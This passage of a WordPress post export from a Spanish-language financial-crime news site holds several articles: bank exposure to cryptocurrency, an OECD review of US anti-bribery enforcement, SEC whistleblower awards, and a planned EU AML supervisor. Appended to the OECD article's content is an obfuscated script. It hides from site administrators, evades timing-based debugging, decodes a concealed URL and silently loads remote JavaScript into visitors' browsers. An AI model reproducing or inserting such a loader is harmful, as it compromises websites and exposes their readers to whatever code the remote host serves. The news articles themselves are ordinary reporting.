wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de 